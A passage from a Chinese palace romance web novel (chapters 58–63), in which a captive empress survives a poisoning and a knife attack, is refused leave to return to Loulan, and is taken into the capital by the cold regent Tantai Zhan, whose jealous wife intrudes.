《疯批养兄掌权后,和亲公主被强取豪夺了》 第58章 投毒 第五十八章 投毒 “母后……” 他喉头干涩,还想再说些什么。 太后却轻轻拍了拍他的手背,语重心长地打断了他。 “皇帝,哀家知道你心疼皇后。可越是这个时候,你就越要分得清轻重缓急。” “先把国事处理妥当,让楼兰喘过这口气来,再去想其他的事情,好不好?哀家相信,皇后那么深明大义,她也会理解你的。” 裴清宴被这句话堵得心口发闷,所有反驳的言语都化作了沉重的无力感。 母后说得对,桩桩件件都是国之大事,他身为君主,责无旁贷。 他缓缓站起身,挺直了因连日劳累而有些弯曲的脊背,对着太后深深一揖。 “儿臣……遵命。” 三个字,仿佛用尽了他全身的力气。 他不再多言,转身走出了太后的寝宫。 夜风清冷,吹在他单薄的龙袍上,却吹不散他心头的燥热。 他没办法,只能答应。 可是一想到栖鸾,他的心就像被一只无形的手紧紧攥住,疼得喘不过气。 她那边到底怎么样了?那个喜怒无常的澹台湛,有没有再为难她? 她一个人在深宫里,吃得好不好,睡得安不安全? 他踱步回到御书房,心中第一次对自己的君王身份产生了厌恨。 若他不是楼兰的国主,只是一个普通人,他现在就可以不顾一切地奔向她,将她带回自己身边。 可他不能。 这份无能为力的感觉,比战场上的兵败还要让他痛苦。 与此同时,金国未央殿内。 自从林妃被禁足后,宫里确实清静了不少,再没人敢明目张胆地来找麻烦。 但那种无形的孤立和暗处的窥探,却从未消失。 晚膳被端了上来,菜色简单,两菜一汤,倒也算干净。 “娘娘,您多少用一些吧,您都一天没怎么吃东西了。” 春桃将一碗米饭递到凤栖鸾面前,满脸担忧。 凤栖鸾点了点头,拿起筷子,神情有些倦怠。她夹起一块青菜放入口中,细细地咀嚼着。 味道寡淡,和这未央殿一样,透着一股被人遗忘的冷清。她没什么胃口,只是不想让春桃太过担心,才勉强自己动筷。 又夹了一筷子豆腐,放进嘴里,凤栖鸾的眉头却几不可察地轻轻蹙了一下。 这豆腐里,似乎有一丝极淡的、不属于豆子本身的苦涩味。 “娘娘,怎么了?是不合胃口吗?” 凤栖鸾没有回答,目光从菜肴上移开,落在了今日负责布菜的一个脸生的小宫女身上。 那宫女约莫十五六岁的年纪,低眉顺眼地站在角落。 从她开始用膳起,这个宫女的视线就若有若无地一直落在自己的碗筷上,双手也下意识地绞着衣角,显得有些紧张。 察觉到凤栖鸾的注视,那宫女的身子明显僵了一下,头也垂得更低了。 一个寻常的宫女,何至于此? 凤栖鸾不动声色,将嘴里那口豆腐用帕子悄悄包了吐出来。 放下了筷子,一手抚着胸口,佯装不适地皱起了眉。 “许是没什么胃气,这菜闻着有些腻。”她轻声说道,“春桃,把这些都撤下去吧。” “是,娘娘。”春桃丝毫没有怀疑,正要上前收拾。 可,就在这时。 角落里的那个小宫女眼中闪过一丝狠厉。 不等凤栖鸾开口示警,那宫女竟猛地从袖中抽出一柄寒光闪闪的匕首,面目狰狞地朝着凤栖鸾的心口就扑了过来! “保护娘娘!”春桃吓得魂飞魄散,尖叫着就想挡在前面。 可一切都发生得太快了! 电光火石之间,凤栖鸾脑子却极其清醒。 这些年在楼兰,虽然贵为皇后,但也曾随裴清宴学过几招防身的本事。 此刻求生的本能让她想也不想,猛地将身下的椅子向后一蹬,整个人借力狼狈地向一侧翻倒! “噗嗤——” 匕首锋利的刀尖没能刺入她的心脏,却狠狠划过了她的左臂。 那宫女一击不成,眼中凶光更盛,再次举着匕首扑上前来。 “来人啊!有刺客!快来人!” 春桃凄厉的哭喊声响彻了整个未央殿。 就在匕首即将再次落下之际,砰的一声巨响,殿门被人从外面狠狠踹开,几名身着甲胄的侍卫闻声冲了进来。 为首的侍卫眼疾手快,飞起一脚,正中那宫女的手腕。 “当啷!” 匕首应声落地,宫女吃痛惨叫,还没来得及反应,便被后面冲上来的侍卫死死按在了地上,动弹不得。 整个未央殿瞬间被一股肃杀之气笼罩。 直到此刻,凤栖鸾才感到一阵后怕,她撑着地坐起身,脸色苍白如纸,冷汗浸濕了鬓角。 她低头看着自己血流不止的手臂,伤口不深,但皮肉翻卷,看起来颇为吓人。 “娘娘!娘娘您怎么样了!”春桃连滚带爬地扑到她身边,看到那道血淋淋的伤口,眼泪顿时像断了线的珠子一样滚落下来,“流了好多血……太医!快传太医!” 凤栖鸾的脑子一片混乱,嗡嗡作响。 是谁?到底是谁想要她的命? 难道是林妃贼心不死,在宫中还有同党?可她如今被禁足,兄长兵权被夺,正是落魄之时,哪还有能力策划这样一场刺杀? 更何况,饭菜里还有毒!若不是自己警觉,此刻恐怕早已是一具冰冷的尸体了。 下毒不成,便直接动手刺杀,这是何等的深仇大恨,非要置她于死地不可! 协议已经签了,金国和楼兰暂时换来了和平,她作为人质留在这里,对澹台湛而言还有利用的价值。他应该不会希望自己就这么不明不白地死了。 可如果不是他,又会是谁? 一瞬间,无数个念头在她脑中闪过,却没一个能站得住脚。 她只觉得一股彻骨的寒意从心底升起,这金国的皇宫,比她想象中还要危险百倍。 她迫切地想要离开这里,回到楼兰,回到裴清宴的身边。 只有在那里,她才能感到一丝安全。 “娘娘,您别吓奴婢啊……” 春桃的声音带着哭腔,将她的思绪拉了回来。 “我没事。” 凤栖鸾看着被侍卫死死压在地上的刺客,冷声问道:“是谁派你来的?” 第59章 说谎的坏习惯 第五十九章 说谎的坏习惯 那宫女被制住,却只是抬起头,冲着她露出了笑,随即猛地一咬牙,嘴角立刻有黑色的血液溢出。 “不好!她要自尽!”侍卫首领大惊,急忙去捏她的下巴,却为时已晚。 那宫女身子抽搐了几下,五窍流出黑血。 凤栖鸾神色更为凝重,冷眸蹲下,探了探女子的呼吸,发现已然没了气息。 人,就这么死了。线索,也彻底断了。 来者不善,看来早有准备了。 侍卫首一脸愧疚地起身,对着凤栖鸾单膝跪地:“属下护卫不力,请公主降罪!” 凤栖鸾疲惫地摆了摆手,此刻她没有心力去追究这些。 很快,柳太医便提着药箱匆匆赶来,看到殿内的景象也是大吃一惊。 “春桃,扶我进去。”凤栖鸾不想在外间处理伤口。 春桃含着泪,小心翼翼地将她扶到内室的软榻上坐下。 柳太医跟了进来,剪开被鲜血染红的衣袖,开始为她清洗包扎。 “嘶……”药粉洒在伤口上,传来一阵火辣辣的疼,凤栖鸾忍不住倒抽了一口凉气。 春桃在一旁看得心疼不已,眼泪掉得更凶了,哽咽道:“都怪奴婢,奴婢没有察觉到异常,害得娘娘您受了这么重的伤……呜呜……这可怎么办啊,要是留下疤痕了……” “傻丫头,哭什么。” 凤栖鸾伸出没受伤的手,轻轻拍了拍她的手背,想要安慰她,可自己的脸色却依旧苍白。 “一道疤而已,死不了人。比起这个,我更想知道,是谁想让我死。” 坐以待毙从来不是她的性子,这深宫之中,每一次退让换来的都不是海阔天空,而是更加无情的绞杀。 她不能再等了,等裴清宴来接她,也等不到下一个想杀她的人动手。 她必须主动出击,为自己寻一条生路。 唯一的生路,就是离开这个是非之地。 “春桃,替我更衣。” 凤栖鸾挣扎着从软榻上站起来,手臂上的伤口因为动作的牵扯,又传来一阵刺痛,但她只是咬了咬牙,眉头都没皱一下。 “娘娘,您这伤……” 春桃满脸不赞同,“太医说了要好生静养,您这是要去哪儿啊?” “去养心殿。”凤栖鸾的语气冷淡,“我要见皇兄。” 春桃还想再劝,可看到凤栖鸾那双眸子,剩下的话便都咽了回去。 娘娘一旦做了决定,是谁也拉不回来的。 她只能手脚麻利地找来一件宽袖的秋香色宫装,小心翼翼地帮凤栖鸾换上,那宽大的袖子正好能将手臂上缠着的厚厚纱布遮掩得七七八八。 从一片狼藉的未央殿走出去,一路上,宫人们看到她,都纷纷垂下头,眼神里带着或惊惧、或同情、或幸灾乐祸的复杂情绪。 凤栖鸾一概不理,挺直了脊背,一步步走得沉稳。 只是,谁也不知道,下一个来索命的鬼魅,会在何时何地出现。 养心殿内,熏香袅袅。 凤栖鸾踏入殿中的时候,一眼就看到了那个身穿黑色蟒袍的男人。 澹台湛正侧身站在御案旁,与凤璟低声议事,他周身那股生人勿近的冷冽气场,让整个大殿的温度都仿佛降了几分。 怎么他也在?凤栖鸾的心不由得向下一沉,但事已至此,她没有退路。 “臣妹凤栖鸾,参见皇兄。”她敛下心神,规规矩矩地行了一礼。 凤璟正在为边关的军饷发愁,闻言抬起头,看到是她,脸上露出一丝讶异,随即眉头便紧紧地锁了起来。 “栖鸾?你怎么来了?你的脸色怎么这么差?是不是宫里的人又慢待你了?” 他的目光锐利,很快就落在了她那只不甚自然地垂在身侧的左臂上。 “你的袖子怎么回事?”凤璟的声音陡然一沉,“怎么好像有血渗出来了?你受伤了?” 他一边说,一边已经快步从御案后走了出来。 凤栖鸾下意识地将受伤的手臂往身后藏了藏,扯出一个比哭还难看的笑容,低声回道。 “没……没什么大事,皇兄。是臣妹自己不小心,方才在殿里走得急了些,不慎滑倒,磕了一下。” 她垂着头,不敢去看凤璟的眼睛。 凤璟皱着眉,显然不信:“滑倒?能把手臂磕成这样?让太医看过了吗?” “看过了,柳太医已经包扎好了,说只是些皮外伤,不碍事的。” 凤栖鸾的声音越来越低,她只想快点把这件事糊弄过去。 整个大殿里安静得可怕,只有她略显心虚的声音在回荡。 就在这时,一道冰冷得不带丝毫温度的声音,从旁边淡淡地飘了过来。 “你说谎的时候,总有个坏习惯。” 凤栖鸾浑身一僵,猛地抬头看向澹台湛。 他不知何时已经转过身来,那双深不见底的凤眸正紧紧的盯着她。 “心虚的时候,你总是下意识地去捻弄另一只手的袖角。” 他缓缓地说着,“这个习惯,五年了,你怎么还是没改。” 凤栖鸾捻弄着袖角的手指瞬间蜷缩起来,像是被烫到了一样。 “阿湛!”凤璟不满地呵斥了一声,随即又将担忧的目光转回到凤栖鸾身上。 “栖鸾,到底是怎么回事?跟皇兄说实话!是不是有人欺负你了?” 凤栖鸾看着凤璟眼中那毫不作伪的关切,心里竟有些酸意。 “皇兄……” 她的声音带上了哭腔,却还是犹豫着。 “你若还当朕是你的皇兄,就把事情一五一十地告诉朕!” 凤栖鸾终于开口。 “未央殿……有刺客。” 凤璟的脸色唰的一下变得惨白,他不敢置信地瞪大了眼睛:“你说什么?刺客?” 澹台湛的瞳孔也是猛地一缩,周身的冷冽气息瞬间化为了实质般的杀气。 凤栖鸾点了点头,对着二人缓缓开口。 “方才用膳,臣妹发现饭菜里有毒。下毒的是一名新调入殿中伺候的宫女,她见行迹败露,便……便直接拔出了匕首行刺。” 她抬起受伤的手臂,宽大的袖子滑落,露出了里面缠着的一圈又一圈、已经被鲜血浸染成暗红色的纱布。 那抹红色,刺痛了凤璟的眼睛。 “混账!!” 第60章 放她回楼兰 第六十章 放她回楼兰 “简直是无法无天!光天化日之下,在朕的皇宫里,行刺朕的妹妹!这群狗东西,是当朕死了吗?!” “李广权!”他对着殿外怒吼。 “奴才在!” 李广权连滚爬带地跑了进来,吓得直接跪在了地上。 “给朕去查!把今天未央殿所有当值的人,还有内务府负责调派宫女的人,全都给朕抓起来!严刑拷问!朕要知道,到底是谁吃了熊心豹子胆,敢动永乐公主!” “奴……奴才遵旨!” 李广权吓得冷汗直流,磕了个头就手脚并用地爬了出去。 整个大殿里,只剩下凤璟粗重的喘息声。 而从头到尾,澹台湛都没有说话。 他只是死死地盯着凤栖鸾手臂上的那抹红色,眼神阴沉得可怕。 眸中翻涌的,是比凤璟的暴怒更加冰冷、更加致命的杀意。 许久,凤栖鸾才缓缓地、直直地跪了下去。 “咚”的一声,额头触地。 凤璟的怒火一滞,连忙上前去扶她:“栖鸾,你这是做什么?快起来!地上凉!” 凤栖鸾却摇了摇头,没有起身。她抬起那张泪痕未干的脸,眼中满是哀求和绝望。 “皇兄,”她哽咽着开口,“臣妹求您了。” “金国……太危险了。” “臣妹不想死在这里。臣妹……想回家。” “家?”凤璟一愣,心头刺痛,“这里就是你的家啊!” “不,”凤栖鸾凄然一笑,摇了摇头,“这里不是了。楼兰才是。皇兄,裴清宴还在等我,楼兰的子民也还需要我。求求您,看在昔日的兄妹情分上,看在臣妹今日险些丧命的份上,放臣妹回楼兰吧!” 这是她唯一的机会。 趁着兄长心疼她、愧疚于她的时候,提出这个请求。 凤璟看着跪在地上的妹妹,满心都是疼惜扎。 他想让她留下,可今天发生的事,让他后怕不已,他不敢保证,下一次她还能这么幸运。 可若放她走…… 就在他犹豫不决之际,那道冰冷的声音再次响起。 “回楼兰?” 澹台湛缓缓开口,他走到凤栖鸾面前,居高临下地看着她。 “凤栖鸾,你想都别想。” “你想回楼兰?回去找你的裴清宴,继续做你那恩爱两不疑的皇后?然后把我,把整个金国都当成一个笑话?” “我没有!”凤栖鸾激动地反驳。 “够了,阿湛!”凤璟听不下去了,他一把将凤栖鸾从地上拉了起来,护在自己身后,对着澹台湛怒目而视,“栖鸾刚受了惊吓,你少说两句!” 澹台湛却根本不看他,目光依旧死死地锁在凤栖鸾身上。 “皇兄,”他转向凤璟,语气虽然缓和了些,但里面的强硬却丝毫不减。 “臣不是在跟她开玩笑。楼兰的和约条款,第一批岁贡尚未完全缴清,三城交接也才刚刚开始。这个时候放她回去,万一楼兰那边起了什么变故,谁来负责?” “这……”凤璟一时语塞。 澹台湛继续说道:“她现在不只是楼兰的皇后,更是我们金国的永乐公主。她在这里,就是对楼兰最大的震慑。让她多留些时日,于国于民,有百利而无一害。” 他一番话说得冠冕堂皇,将政治利弊摆在台面上,让凤璟根本无法反驳。 凤栖鸾听着他这番颠倒黑白的说辞,气得浑身发抖。 什么于国于民,分明就是他一己私欲的借口! “皇兄!”她急切地看向凤璟,“不要听他的!楼兰绝不会背信弃义,裴清宴他……” “好了,栖鸾。”凤璟叹了口气,打断了她的话。他轻轻拍了拍凤栖鸾的手背,眼中满是无奈和歉疚,“阿湛说得……也有道理。” “皇兄!”凤栖鸾的心彻底沉了下去。 “你别急,”凤璟连忙安抚道,“皇兄不是不让你走。只是眼下时局未稳,你再多住些时日,等一切都尘埃落定了,皇兄亲自派八抬大轿,风风光光地把你送回去,好不好?” 他看着凤栖鸾苍白的脸和受伤的手臂,心中疼惜不已,又补充道:“今天这事,是皇兄的疏忽,让你在宫里受了委屈。朕保证,绝不会再有下一次了!” 话都说到这个份上,凤栖鸾知道,再争辩下去也毫无意义。 兄长虽然是皇帝,但在很多事情上,依旧要倚重甚至受制于澹台湛这个手握重兵的摄政王。 她所有的希望,都破灭了。 凤璟见她神色黯然,心中不忍,便想岔开这个沉重的话题。他看了一眼旁边脸色依旧阴沉的澹台湛,忽然心生一计。 “栖鸾啊,你离京五年,京都变化不小。总是闷在宫里也不好,容易胡思乱想。”他故作轻松地说道,“这样吧,阿湛,你这几日政务若是不忙,就代朕陪栖鸾出宫去逛逛,看看如今金国的变化,也散散心。” 这话一出,凤栖鸾和澹台湛都愣住了。 让她和他一起出宫逛逛?这是何等的荒唐! 凤栖鸾想也不想就要拒绝:“多谢皇兄好意,只是臣妹身上有伤,不便外出……” “就这么定了!”凤璟却不给她拒绝的机会,一锤定音,“阿湛,这是圣旨,你可不许推辞。” 澹台湛自是愿意,只是瞧着旁边人儿的神色,眉心又忍不住的蹙了起来。 “是。” 凤栖鸾的心猛地向下一沉。 她不想和澹台湛一起散散心,他们二人有什么心可散的?! 她张了张口,想说的话全堵在了喉咙里。君无戏言,兄长已经下了旨,她没有再反驳的余地。 “好了,就这么说定了。” 凤璟见两人都应下,终于松了口气,“栖鸾,你先回宫歇着,让太医好好看看伤,缺什么就跟李广权说。” “……是,臣妹告退。”凤栖鸾福了福身,声音里透着一股麻木的疲惫。 她转身就走,一刻也不想多留。 离开了养心殿,凤栖鸾低着头,脚步匆匆。 身后的脚步声不紧不慢地跟着,那股熟悉的气息让她浑身僵硬。 快到宫道拐角时,身后那道冰冷的声音突然响起。 “站住。” 凤栖鸾停下脚步,没有回头。 澹台湛几步上前,挡住了她的去路。 “明日午时,宫门外。”他言简意赅,语气是命令式的。 凤栖鸾觉得荒谬,她侧过头,冷冷地看着他:“王爷什么意思?” “字面意思。” “王爷日理万机,何必在我身上浪费时间。” 第61章 落人口实 第六十一章 落人口实 凤栖鸾语带嘲讽,“皇兄只是随口一提,王爷不必当真,更不必勉强自己。” 她不信他会这么好心。 澹台湛听到勉强两个字,脸色瞬间又阴沉了几分。 他逼近一步,高大的身影将她笼罩。 “你以为我想?”他嗤笑,“凤栖鸾,收起你那套想法。若非皇命,你以为本王愿意见你?” 他顿了顿,语气越发冰冷:“我不想落人口实,让人觉得金国苛待了你,更不想让皇兄为难。所以,你最好听话。” 原来如此。 是不想落人口实,是皇命难违。 凤栖鸾在心里嘲讽地笑了。曾几何时,那个为了她能跟全天下作对的少年,什么时候也变得这么听话了? 真是可笑。 既然挣扎无用,那又何必再多费口舌。 她敛去眼中所有情绪,重新变得平静。 “好。”她轻轻地点了点头。 “既然是奉旨,臣妇自当遵从。” 说完,她便不再看他,微微侧身,绕过他高大的身躯,头也不回地朝着未央殿的方向走去。 他站在原地,看着她越走越远,周身的气压低得吓人。 第二日,天色尚好,秋高气爽。 凤栖鸾在春桃的伺候下,换上了一身寻常富家女子的装扮。 藕荷色的襦裙,外面罩着一件月白色的褙子,头发简单地绾了个堕马髻,除了几支素雅的珠钗外,再无多余的装饰。 左臂上的伤口依旧隐隐作痛,但比起心里的麻木,这点皮肉之苦倒也算不得什么了。 “娘娘,您真的要去啊?” 春桃一边替她整理着衣襟,一边满脸担忧地碎碎念。 “那摄政王一看就没安好心,谁知道他今天又要怎么折腾您。再说了,您这伤还没好利索呢……” “春桃,别说了。”凤栖鸾打断了她,“这是圣旨。” 她看着镜子里那张略显苍白素净的脸,眼神平静无波。 不过是出宫逛逛,刀山火海她都闯过来了,还怕这个吗? 临近午时,凤栖鸾带着春桃,准时出现在了宫门外。 澹台湛今日也换下了一身蟒袍,穿了件玄色的锦衣窄袖常服,少了几分摄政王的威仪,却多了几分世家公子的清贵。 只是那张俊美的脸上,依旧是万年不变的冰霜。 “上车。” 他掀开帘子,连眼皮都未曾抬一下。 凤栖鸾没有说话,踩着脚凳,默默地上了车。 春桃也想跟着上去,却被车夫拦了下来。 “这位姑娘,王爷吩咐了,只带公主一人。” “可是……”春桃急了。 “春桃,你在宫里等我。”车厢里,凤栖鸾淡淡地开口。 “是,娘娘。” 春桃不敢违逆,只能眼巴巴地看着马车缓缓启动,汇入了京城川流不息的人潮之中。 车厢内,气氛压抑得让人喘不过气。 两人分坐两端,谁也没有开口说话,只有车轮碾过青石板路时发出的咕噜声,在寂静的车厢里显得格外清晰。 凤栖鸾掀开车帘的一角,看向窗外。 阔别五年,金国的京城比起她记忆中,似乎更加繁华了。 街道两旁店铺林立,酒楼茶肆的幡子迎风招展,小贩的叫卖声、行人的说笑声、孩童的嬉闹声不绝于耳。 一切都熟悉,又一切都变得陌生。 马车行至朱雀大街,路过了一家糖画摊子。 一个扎着总角的小童,正举着一支刚做好的凤凰糖画,满脸欢喜地跑向自己的母亲。 凤栖鸾的目光不由自主地被吸引了过去,眼神微微有些恍惚。 她记得,很多年前,她也曾拉着澹台湛的袖子,吵着闹着非要一支凤凰糖画。 那时候的澹台湛,还只是个桀骜不驯的少年郎。 他嘴上嫌她麻烦,说她娇气,却还是会不耐烦地挤进人群,给她买来最大最漂亮的那一支。 她一边吃,又一边把黏糊糊的糖渍蹭到他干净的衣袖上。 少年郎气得骂她小邋遢,但又小心翼翼地用帕子给她擦嘴。 “在看什么?” 澹台湛冰冷的声音突然响起,将凤栖鸾从遥远的回忆里拉了回来。 她回过神,对上了澹台湛那双探究的眸子。 “没什么。” 她迅速放下车帘,垂下眼,掩去了眼中那一闪而过的怅然。 澹台湛冷哼一声,别开了脸。 “怎么?想起以前的事了?还是在想,若是你的裴清宴在,此刻又该如何陪你逛这市集?” 凤栖鸾的心像是被针扎了一下,密密麻麻地疼。 她懒得与他争辩这些,索性闭上了眼睛,靠在车壁上假寐。 眼不见,心不烦。 马车又行了一段路,最终在城中最有名的醉仙楼前停了下来。 “下车。”澹台湛的声音依旧冷硬。 凤栖鸾睁开眼,跟着他下了车。 醉仙楼还是老样子,雕梁画栋,宾客盈门。 店小二一看到澹台湛,立刻点头哈腰地迎了上来,恭恭敬敬地将他们引上了二楼最雅致的临窗包间。 一路上,无数道惊艳的目光落在凤栖鸾的身上,有好奇,有探究,也有嫉妒。 澹台湛的脸色越发难看,周身散发出的寒气几乎要将整个酒楼冻住。 落座后,小二刚要报菜名,澹台湛便不耐烦地挥了挥手。 “把你们店里的招牌菜都上一遍。” 说完,他又像是想起了什么,补充了一句:“不要太辣的,另外,桂花酿也温一壶上来。” 凤栖鸾闻言,握着茶杯的手微微一顿。 这些,都是她从前的口味。她不喜辛辣,独爱喝那醉仙楼里甜丝丝的桂花酿。 没想到,隔了这么多年,他竟然还记得。 可这点转瞬即逝的动容,很快就被他下一句话打得粉碎。 “怎么?感动了?” 他看着她,嘴角勾起一抹嘲弄的弧度,“别多想,本王只是习惯了而已。” 凤栖鸾的心彻底冷了下来。 是啊,她还在期待什么呢? 一顿饭,两人吃得食不知味。 从醉仙楼出来,澹台湛并没有要回宫的意思,而是带着她,漫无目的地在街上走着。 秋日的阳光透过街边高大的梧桐树叶,在地上洒下斑驳的光影。 两人一前一后,隔着三五步的距离,谁也不说话。 路过一家首饰铺子,凤栖鸾的脚步不自觉地慢了下来。 里头摆着一支赤金点翠的凤尾簪,簪尾的流苏随着光线轻轻晃动,流光溢彩,煞是好看。 这支簪子,她认得。 第62章 当街投怀送抱 第六十二章 当街投怀送抱 五年前,她生辰的时候,曾在这里看过。 那时候她很喜欢,可因为价格昂贵,她没舍得买。 澹台湛当时还笑话她,说堂堂金国公主,怎么连支簪子都买不起。 她气鼓鼓地不理他,他便偷偷记下了,说等他领了俸禄,就买来送给她。 可后来……后来发生了太多的事,这支簪子,到底还是错过了。 没想到,五年过去了,它竟然还在这里。 凤栖鸾正看得出神,丝毫没有注意到脚下的路。 也不知是旧伤未愈,身体虚弱的缘故,还是这突如其来的回忆让她心神恍惚。 她脚下被一块凸起的石板绊了一下,惊呼一声,整个人向前摔去。 眼看就要摔倒,一只大手迅速伸来,揽住她的腰,将她带进怀里。 “唔……” 凤栖鸾撞上一个坚硬的胸膛,鼻尖是熟悉的龙涎香。 时间仿佛静止。 她抬头,跌入一双幽深的凤眸。 两人贴得极近,她能看到他瞳孔里自己的倒影,能感受到他沉稳的心跳。 那眼神里,有挣扎,有怒火,还有一丝……她看不懂的情愫。 空气中有什么东西在悄然流动。 “怎么?” 他嗤笑一声,低沉的嗓音带着浓浓的讥讽。 “凤栖鸾,五年不见,你勾引男人的手段就是这样的吗?当街投怀送抱?” 话落下的瞬间,凤栖鸾愣住。 浑身的血液都冲上了头顶。 他……竟然是这样想自己的吗? 那短暂的恍惚、那片刻的心悸全都被他这句话击得粉碎,连一丝一毫的渣滓都不剩。 羞辱。 这是赤裸裸的羞辱! “你混蛋!” 她像是被蛰了一般,猛地用力,一把将他狠狠推开。 因为用力过猛,她自己也控制不住地向后踉跄了两步,好不容易才站稳了脚跟。 刚才那突如其来的靠近所带来的眩晕感,和此刻因愤怒混杂在一起,让她整个人都有些摇摇欲坠。 可她顾不上这些。 她抬起头,一双漂亮的杏眼里燃烧着熊熊的怒火,死死地瞪着眼前的男人。 “澹台湛!你别太过分!” 她的声音都在发抖,一半是气的,一半是委屈的。 “谁对你投怀送抱了?!你以为人人都像你一样思想龌龊吗?!” 澹台湛被她推得也退了半步,他看着她那副炸了毛的猫儿似的模样,胸口那点莫名的烦躁和悸动,也被怒火所取代。 他迅速恢复了那副冷峻淡漠的神态,仿佛刚才那个下意识将她拥入怀中的男人根本不是他。 他上前一步,居高临下地逼视着她,眼神里的压迫感几乎让她喘不过气来。 “思想龌龊?” 他缓缓地咀嚼着这几个字。 “本王再龌龊,也比不上某些人。一面在楼兰与自己的夫君恩爱两不疑,一面到了金国,又对着旧情人故作姿态。” “你……!” 可就在这时,一道娇俏的声音传来。 “王爷?栖鸾姐姐?你们怎么会在这里?真是太巧了!” 凤栖鸾闻声望去,心头一沉。 只见沈月凝身着一袭华丽的石榴红长裙走了出来。 她几步便走到了两人面前。 目光在他们之间来回打量了一圈,眼中闪过一丝嫉恨,但很快就被温婉的笑意掩盖了下去。 “王爷今日不是说有要务在身吗?怎么得空陪姐姐出来逛街了?” 她极其自然地走到了澹台湛的身边,亲昵地伸手,想要挽住他的手臂。 澹台湛下意识地蹙眉,不着痕迹地侧身避开了她的触碰。 沈月凝的手落了个空,脸上的笑容僵了一下,但她很快就调整过来,仿佛什么都没发生一样,继续柔声说道。 “姐姐也是,手臂上还有伤呢,怎么能不好好在宫里休息,还跑出来吹风?这要是伤口感染了可怎么好?” 她的话听起来句句都是关心,可那眼底深处幸灾乐祸的得意,却怎么也藏不住。 凤栖鸾懒得理会她这套虚情假意的把戏,只是淡淡地开口:“不劳王妃费心。” 澹台湛更是连一个眼神都没分给她,只是不耐烦地开口:“你怎么会在这里?” “臣妾想着今日天气好,便想着出来给王爷挑几件衬手的玉扳指,也给姐姐选些养身子的补品。” 沈月凝柔柔一笑,将自己描绘成一个体贴丈夫、关爱姐妹的贤惠王妃。 她说着,又将目光转向凤栖鸾,热情地邀请道。 “正好碰上了,不如我们一起逛逛吧?姐姐离京五年,肯定有很多地方都变得不认识了,正好妹妹可以给姐姐介绍介绍。我们姐妹俩,也好久没有像以前那样,一起说说话了。” 她这番话说得滴水不漏,既表现了自己的大度贤惠,又不动声色地将自己摆在了女主人的位置上。 凤栖鸾在心里冷笑,还没来得及开口拒绝这令人作呕的提议,澹台湛已经冷冷地吐出了两个字:“不必。” 沈月凝脸上的笑容再次一僵。 她委屈地咬了咬下唇,一双美目瞬间盈满了水汽,楚楚可怜地看着澹台湛。 “王爷……臣妾没有别的意思,只是想和姐姐多亲近亲近,毕竟我们以前……” “本王说,不必。”澹台湛的声音里已经带上了明显的不耐。 沈月凝今天似乎打定了主意要搅黄这一切。 她非但没有被澹台湛的冷脸吓退,反而更大胆地上前一步。 索性放弃了去拉那个冷硬的男人,转而亲亲热热地挽住了凤栖鸾的手臂。 “姐姐,你可别听王爷的,他就是这么个性子,嘴上说着不要,心里其实巴不得我们姐妹和睦呢。” 她不由分说地就拉着凤栖鸾往前走,完全无视了澹台湛那张已经黑如锅底的脸。 “姐姐,你看,前面那家新开的胭脂铺子闻香榭,听说里面的醉红妆可是京城一绝呢,涂上之后,气色好得不得了。王爷前几日还念叨,说我脸色有些差,让我多添些妆奁。” 凤栖鸾只觉得聒噪。 她被沈月凝强行挽着手臂,那过分香甜的脂粉气几乎让她窒息。 “前面就到了,姐姐是不喜欢闻香榭吗?没关系,那我们去前面的珍宝阁!那里的首饰可是京城第一,王爷最喜欢带臣妾去那里挑东西了。” 第63章 无功不受禄 第六十三章 无功不受禄 她也不等凤栖鸾回答,便强行拉着她,绕过了胭脂铺,朝着不远处一座更加气派辉煌的三层阁楼走去。 街上的行人纷纷避让,对着这怪异的三人组投来好奇又畏惧的目光。 谁都看得出,摄政王心情很不好。 凤栖鸾被她半拖半拽地拉进了珍宝阁。 一进门,一股奢华的气息扑面而来。 阁内陈设着各种奇珍异宝,珠光宝气,晃得人眼花。 掌柜的一见到澹台湛,立马跟见了亲爹似的,满脸堆笑地迎了上来。 “哎哟!王爷您可来了!王妃娘娘金安!” 他点头哈腰,谄媚到了极点,“稀客,真是稀客!快,楼上雅间伺候着!” “不必了。” 沈月凝抢先开了口,她就是要在一楼,在大庭广众之下,享受这种万众瞩目的感觉。 “把你们这儿新到的、最贵的几样都拿出来,给我瞧瞧。” “是,是,是!” 掌柜的哪敢怠慢,忙不迭地让伙计将一个个锦盒捧了出来。 沈月凝拿起一支嵌满了红宝石的步摇,在自己发间比了比,转头看向澹台湛,声音娇得能掐出水来。 “王爷,你看这个怎么样?衬不衬我?” 澹台湛的目光根本没往那步摇上看,他的视线,从始至终都胶着在不远处的凤栖鸾身上。 他只是从喉咙里发出一声敷衍的鼻音。 “嗯。” 沈月凝不满,但又不敢发作,只能讪讪地放下步摇,又拿起另一支。 那是一支金丝累珠的凤钗,凤凰的眼睛是两颗硕大的东珠,华丽有余,却俗气至极。 “王爷,那这个呢?这个凤钗好不好看?上面的珠子可真亮啊。” “你喜欢就行。” 他多一个字都不想跟她说。 若不是凤栖鸾还在这里,他早就拂袖而去了。 沈月凝讨了个没趣,脸上的笑容有些挂不住了。 她求助似的看向凤栖鸾,想把她也拉下水。 “姐姐,你帮我看看嘛,你说这支凤钗,配我今日这身衣裳,好不好看?” 凤栖鸾连眼皮都懒得抬。 沈月凝咬了咬牙,心里的嫉妒像野草一样疯长。 凭什么? 凭什么澹台湛的眼里从来都只有这个女人? 她都已经是楼兰的皇后,是别人明媒正娶的妻子了! 越想越气,她索性破罐子破摔,对着掌柜的说:“这支凤钗,还有刚才那支步摇,本王妃都要了!记在王爷账上!” “好嘞!”掌柜的喜笑颜开。 澹台湛眉头一皱,刚要开口,却见沈月凝得意洋洋地瞥了凤栖鸾一眼。 他瞬间明白了她的意图。 不过是想在凤栖鸾面前炫耀罢了。 他到嘴边的话又咽了回去,只是冷冷地吐出一个字。 “记。” 花他的钱,买个清净,也让她死了那份在凤栖鸾面前上蹿下跳的心。 沈月凝得到了应允,顿时心花怒放,仿佛打了一场大胜仗。 而凤栖鸾将目光随意地投向了旁边一个不起眼的角落。 那里的柜面上,也放着几支簪子,样式都极为素雅,和周围的珠光宝气格格不入。 其中一支,却让她的目光顿住了。 那是一支很简单的银簪。 通体素净,没有任何宝石镶嵌,只在簪头雕刻着一朵小小的、含苞待放的花。 造型质朴,却雕刻得栩栩如生。 是沙丘之花。 是楼兰的国花。 只在最贫瘠的沙土地里才能生长,坚韧而美丽。 凤栖鸾的指尖微微蜷缩起来。 她想买下它。 可…… 她摸了摸自己空空如也的袖袋。 她没有钱。 楼兰战败,国库空虚,百姓流离失所。 